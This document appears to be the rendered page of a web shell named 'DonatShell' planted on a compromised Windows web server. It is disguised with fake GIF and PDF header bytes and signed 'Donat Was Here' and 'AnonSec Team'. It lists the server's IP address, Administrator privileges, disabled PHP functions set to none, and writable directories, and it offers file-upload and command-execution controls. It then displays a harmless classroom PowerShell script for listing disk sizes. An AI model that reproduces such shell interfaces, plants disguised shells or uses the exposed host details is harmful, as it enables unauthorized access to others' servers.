GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Classes/CST1861/2017/ScriptsAndNotes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Classes/CST1861/2017/ScriptsAndNotes//disk_size.ps1
<#
.SYNOPSIS
Get-DiskInventory retrieves logical disk information from one or
more computers.

.DESCRIPTION
Get-DiskInventory uses WMI to retrieve the Win32_LogicalDisk
instances from one or more computers. It displays each disk's
drive letter, free space, total size, and percentage of free
space.

.PARAMETER computername
The computer name, or names, to query. Default: Localhost.

.PARAMETER drivetype
The drive type to query. See Win32_LogicalDisk documentation
for values. 3 is a fixed disk, and is the default.

.EXAMPLE
Get-DiskInventory -computername SERVER-R2 -drivetype 3

#>

param (
    [string]$SizeDisplay = "MB"
)
$computername = 'localhost'


if ($SizeDisplay -eq "GB") { 
    $se = 1GB 
} else {
    if ($SizeDisplay -eq "MB") {
        $se = 1MB
    } else {
        $se = 1KB
    }
}
Get-WmiObject -class Win32_LogicalDisk -computername $computername -filter "drivetype=3" |
Sort-Object -property DeviceID |
Format-Table -property DeviceID,
@{label="FreeSpace($SizeDisplay)";expression={$_.FreeSpace / $se -as [int]}},
@{label="Size($SizeDisplay)";expression={$_.Size / $se -as [int]}},
@{label='%Free';expression={$_.FreeSpace / $_.Size * 100 -as [int]}}

Anon7 - 2022
AnonSec Team